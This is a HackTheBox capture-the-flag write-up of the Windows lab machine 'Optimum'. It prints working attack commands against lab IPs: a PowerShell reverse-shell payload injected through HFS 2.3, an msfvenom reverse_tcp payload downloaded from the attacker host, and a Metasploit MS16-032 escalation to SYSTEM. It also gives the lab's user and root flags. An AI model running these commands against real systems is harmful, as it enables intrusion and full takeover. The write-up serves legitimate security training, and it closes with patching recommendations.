

Optimum - HackTheBox Writeup

- Optimum - HackTheBox Writeup
 - Table of Contents
 - Reconnaissance
 - Nmap Results
 - Enumeration
 - Web Service Analysis
 - Vulnerability Research
 - Initial Foothold
 - Exploit Preparation
 - Exploit Configuration
 - Exploit Execution
 - User Flag
 - Privilege Escalation
 - System Enumeration
 - Privilege Escalation Strategy
 - Metasploit Approach
 - Privilege Escalation Success
 - Root Flag
 - Flags
 - Key Takeaways
 - Technical Skills Demonstrated
 - Security Recommendations
 - Attack Chain Summary
 - Tools Used
 - References

Optimum - HackTheBox Writeup

Machine: Optimum

OS: Windows

Difficulty: Easy

IP: 10.129.57.122

Date Completed: November 26, 2025

Table of Contents

- Reconnaissance
 - Enumeration
 - Initial Foothold
 - Privilege Escalation
 - Flags
 - Key Takeaways
-

Reconnaissance

Started with a comprehensive Nmap scan to identify open ports and running services:

```
nmap -sC -sV -p- --min-rate 5000 10.129.57.122 -oN optimum_nmap.txt
```

Nmap Results

```
PORT      STATE SERVICE VERSION
80/tcp    open  http    HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.53 seconds
[yasmin@kali ~/Desktop/HTB/machines/Optimum ✓]
$ nmap -sC -sV 10.129.57.122
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-26 15:00 EST
Nmap scan report for 10.129.57.122
Host is up (0.056s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
80/tcp    open  http    HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.40 seconds
[yasmin@kali ~/Desktop/HTB/machines/Optimum ✓]
$ searchsploit HFS 2.3
Exploit Title | Path
-----|-----
HFS (HTTP File Server) 2.3.x - Remote Command Execution (3) | windows/remote/49584.py
HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC) | multiple/remote/48569.py
Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit) | windows/remote/34926.rb
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload | multiple/remote/30850.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1) | windows/remote/34668.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2) | windows/remote/39161.py
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution | windows/webapps/34852.txt
-----|-----
Shellcodes: No Results
[yasmin@kali ~/Desktop/HTB/machines/Optimum ✓]
$
```

Nmap Scan

Key Findings: - Single port open: **80/tcp** - Service: **Rejetto HTTP File Server 2.3** - Operating System: **Windows**

Enumeration

Web Service Analysis

Visiting <http://10.129.57.122> revealed a file server interface running **HFS 2.3**.

Vulnerability Research

Used `searchsploit` to identify known exploits:

```
searchsploit HFS 2.3
```

Results:

```
HFS (HTTP File Server) 2.3.x - Remote Command Execution (3) | windows/remote/49584.py
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2) | windows/remote/39161.py
```

Vulnerability: CVE-2014-6287 - Remote Command Execution

Initial Foothold

Exploit Preparation

Downloaded the exploit:

```
searchsploit -m 49584
```

Exploit Configuration

Modified the exploit parameters in 49584.py :

```
lhost = "10.10.14.177"      # Attacker IP (tun0)
lport = 4444                  # Listener port
rhost = "10.129.57.122"      # Target IP
rport = 80                     # HFS port
```

Exploit Execution

The exploit works by: 1. Encoding a PowerShell reverse shell payload in base64 2. Injecting it through the HFS search parameter 3. Executing the payload via %00{.exec|...} syntax

Executed the exploit:

```
python3 49584.py
```

```

$ python3 49584.py

Encoded the command in base64 format ...

Encoded the payload and sent a HTTP GET request to the target ...

Printing some information for debugging ...
lhost: 10.10.14.177
lport: 4444
rhost: 10.129.57.122
rport: 80
payload: exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABoAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABLAg0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA3ADCAGsADQANAA0ADQAKQ7ACAAJABzAHQAcgBLAGEAbQgAD0AIAAkAGMAbApAGUAbgB0AC4ARwBLAHQAwB0AHIAZQbhAG0AKAApADSIAAbAGIAeQ0AGUAWwBdAf0AJAbiAHkAdAbLAHMAIA9ACAAMAAuAC4AngA1ADUAmwA1AHwAJQb7ADAAfQ7ACAAdwBoAGKAbABLACgAKAAKAGKAIAA9ACAAJABzAHQAcgBLAGEAbQAuAFIAZQbHAGQAKAAKAGIAeQb0AGUAcwAsADAAIAAAGIAeQb0AGUAcwAuAEwAZQBuAgcAdAbOAcKAKQAgAc0AbgBLACAAMAAppHsAwAgACQAZAbAHQAYQAgAD0AIAAoAE4AZQb3C0ATwBiAGoAZQbjAHQAIAtAFQeQbwAGUATgBhAG0AZQAgAFMaeQbZAHQAZQbtAC4AVAbLAHgdAAuAEEAUwBDAEKAQS0BFAg4AYwBvAGQAAQBuAgcAKQAUeEcAZQB0AFMadAbYAGKAbgBnACgAJAbiAHkAdAbLAHMALAwAcwAJAbpAckAOwAgACQAcwBLAG4AZABiAGEAYwBrACAAPQAgACgASQBuAHQAbwBrAGUALQBFHgAcByAGUAcwBzAGkAbwBuACAAJABkAGEAdAbhACAAmG+A+ACYAQAgAHwA1ABPAHUadAAtAFMadAbYAGKAbgBnACAAKQ7ACAAJABzAGUAbgBkAGIAYQBjAGsMngAgAD0AIAAKAHMZQBuAGQAYgBhAGMaawAGCsAIAAiAFAAUwAgACIAIAArACAAKABHAGUAdAAtAfewAbwBjAGEAdAbpAG8AbgApAC4UAUBhAHQaAAgACsAIAAiAD4AIAAiADsAIAAKAHMZQbuAGQAYgB5AHQAgAD0AIAFsAdAbLAHgAdAAuAGUAbgBjAG8AZAbpAG4AZwBdAD0AOgBBAFMAQwBjAEKAQKQuAEcAZQB0AEIAeQb0AGUAcwAoACQAcwBLAG4AZABiAGEAYwBrADIkQ7ACAAJABzAHQAcgBLAGEAbQauAFcAcgBpHQAZQaoACQAcwBLAG4AZAB1AHkAdAbLAwAMAAcQAcwBLAG4AZABiAHkAdAbLAC4ATAbLAG4AZwB0AGgAKQ7ACAAJABzAHQAcgBLAGEAbQauAEYAbB1AHMaaAAoACKAfQ7ACAAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMZAQoACK

Listening for connection ...
listening on [any] 4444 ...
connect to [10.10.14.177] from (UNKNOWN) [10.129.57.122] 49158
whoami
optimum\kostas
PS C:\Users\kostas\Desktop> hostname
optimum
PS C:\Users\kostas\Desktop>

```

Exploit Execution

Result: Successfully obtained a reverse shell as optimum\textbackslash{}kostas

User Flag

```

PS C:\Users\kostas\Desktop> type user.txt
a1320291e556220cd84d3fb2e04687c

```

```

PS C:\Users\kostas\Desktop> dir

Directory: C:\Users\kostas\Desktop

Mode                LastWriteTime     Length Name
—
-a—             18/3/2017    2:11 ??      760320 hfs.exe
-ar--            3/12/2025   6:54 ??        34 user.txt

PS C:\Users\kostas\Desktop> type user.txt
a1320291e556220cd84d3fb2e04687c
PS C:\Users\kostas\Desktop> whoami /priv

PRIVILEGES INFORMATION
—————
Privilege Name          Description          State
—————
SeChangeNotifyPrivilege  Bypass traverse checking  Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set  Disabled
PS C:\Users\kostas\Desktop>

```

User Flag and Privileges

Privilege Escalation

System Enumeration

Gathered system information:

```
systeminfo  
whoami /priv
```

Key Information: - **OS:** Microsoft Windows Server 2012 R2 Standard - **Build:** 6.3.9600 - **Architecture:** x64 - **Current User:** optimumkostas - **Privileges:** Limited (only SeChangeNotifyPrivilege)

Privilege Escalation Strategy

Windows Server 2012 R2 Build 9600 is vulnerable to several kernel exploits. After analyzing the installed hotfixes, identified **MS16-032** as a viable privilege escalation vector.

Metasploit Approach

Step 1: Generate Meterpreter Payload

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.177 LPORT=4445 -f exe -o shell.exe
```

Step 2: Transfer Payload to Target

Set up HTTP server:

```
python3 -m http.server 8080
```

Download on target:

```
Invoke-WebRequest -Uri "http://10.10.14.177:8080/shell.exe" -OutFile "shell.exe"
```

Step 3: Configure Metasploit Handler

```
msfconsole -q  
use exploit/multi/handler  
set payload windows/x64/meterpreter/reverse_tcp  
set LHOST 10.10.14.177  
set LPORT 4445  
run
```

Step 4: Execute Payload

```
.\shell.exe
```

Result: Received Meterpreter session as optimum\textbackslash{kostas}

Step 5: Exploit MS16-032

```

background
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION 1
set LHOST 10.10.14.177
run

```

```

yasmine@kali: ~/Desktop/HTB/machines/Optimum ✓
$ msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.177
LHOST => 10.10.14.177
msf6 exploit(multi/handler) > set LPORT 4445
LPORT => 4445
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.177:4445
[*] Sending stage (203846 bytes) to 10.129.57.122
[*] Meterpreter session 1 opened (10.10.14.177:4445 → 10.129.57.122:49174) at 2025-11-26 15:35:10 -0500

meterpreter > background
[*] Backgrounding session 1 ...
msf6 exploit(multi/handler) > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set LHOST 10.10.14.177
LHOST => 10.10.14.177
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > run
[*] Started reverse TCP handler on 10.10.14.177:4444
[+] Compressed size: 1160
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\HHeHgQ.ps1 ...
[*] Compressing script contents ...
[+] Compressed size: 3745
[*] Executing exploit script ...


[by b33f → @FuzzySec]

[*] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[*] Done, using thread handle: 1288

[*] Sniffing out privileged impersonation token..

[*] Thread belongs to: svchost

```

MS16-032 Exploitation

Exploit Details: - **Vulnerability:** MS16-032 (CVE-2016-0099) - **Component:** Secondary Logon Service - **Attack:** Impersonation token manipulation

Privilege Escalation Success

```
[!] Holy handle leak Batman, we have a SYSTEM shell!!
```

```
C:\Users\kostas\Desktop> whoami
nt authority\system
```

```
meterpreter > shell
Process 1372 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\kostas\Desktop>whoami
whoami
nt authority\system

C:\Users\kostas\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is EE82-226D

Directory of C:\Users\kostas\Desktop

03/12/2025  07:31    <DIR>      .
03/12/2025  07:31    <DIR>      ..
18/03/2017  02:11    760.320 hfs.exe
03/12/2025  07:19    0 MS16-135.exe
03/12/2025  07:27    59.392 nc.exe
03/12/2025  07:31    7.168 shell.exe
03/12/2025  06:54    34 user.txt
               5 File(s)     826.914 bytes
               2 Dir(s)   5.628.657.664 bytes free

C:\Users\kostas\Desktop>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop

C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is EE82-226D

Directory of C:\Users\Administrator\Desktop

18/03/2017  02:14    <DIR>      .
18/03/2017  02:14    <DIR>      ..
03/12/2025  06:54    34 root.txt
               1 File(s)     34 bytes
               2 Dir(s)   5.628.657.664 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
95d8e4a822d58bbda2f78ef71e264f5c

C:\Users\Administrator\Desktop>
```

SYSTEM Shell

Root Flag

```
C:\Users\Administrator\Desktop> type root.txt
95d8e4a822d58bbda2f78ef71e264f5c
```

Flags

Flag	Hash
User	a1320291e556220cd84d3fb2e04687c
Root	95d8e4a822d58bbda2f78ef71e264f5c

Key Takeaways

Technical Skills Demonstrated

1. Network Reconnaissance

- Comprehensive port scanning with Nmap
- Service version identification

2. Vulnerability Analysis

- CVE research and exploit identification
- Understanding of HFS 2.3 command injection vulnerability

3. Exploitation

- Modification and execution of public exploits
- PowerShell payload encoding and execution

4. Post-Exploitation

- Windows system enumeration
- Privilege analysis

5. Privilege Escalation

- Kernel exploit identification
- MS16-032 exploitation via Metasploit
- Token impersonation techniques

Security Recommendations

For HFS 2.3 Vulnerability: - Update to latest version of file server software - Implement proper input validation - Apply principle of least privilege for web services

For MS16-032 Vulnerability: - Apply Microsoft security patch MS16-032 - Keep systems updated with latest security patches - Implement proper patch management procedures - Monitor for suspicious Secondary Logon Service activity

Attack Chain Summary

```
Nmap Scan → HFS 2.3 Discovery → CVE-2014-6287 Exploitation →  
Initial Shell (kostas) → System Enumeration → MS16-032 Identification →  
Meterpreter Payload → MS16-032 Exploitation → NT AUTHORITY\SYSTEM
```

Tools Used

- **Nmap** - Network scanning and service enumeration
- **Searchsploit** - Exploit database research
- **Python** - Exploit execution
- **Msfvenom** - Payload generation
- **Metasploit Framework** - Privilege escalation
- **PowerShell** - Command execution on target

References

- [CVE-2014-6287 - HFS RCE](#)
- [MS16-032 - Secondary Logon Vulnerability](#)
- [HackTheBox - Optimum](#)

Author: Yasmin

HackTheBox Profile: <https://app.hackthebox.com/profile/yas7727>

Date: November 26, 2025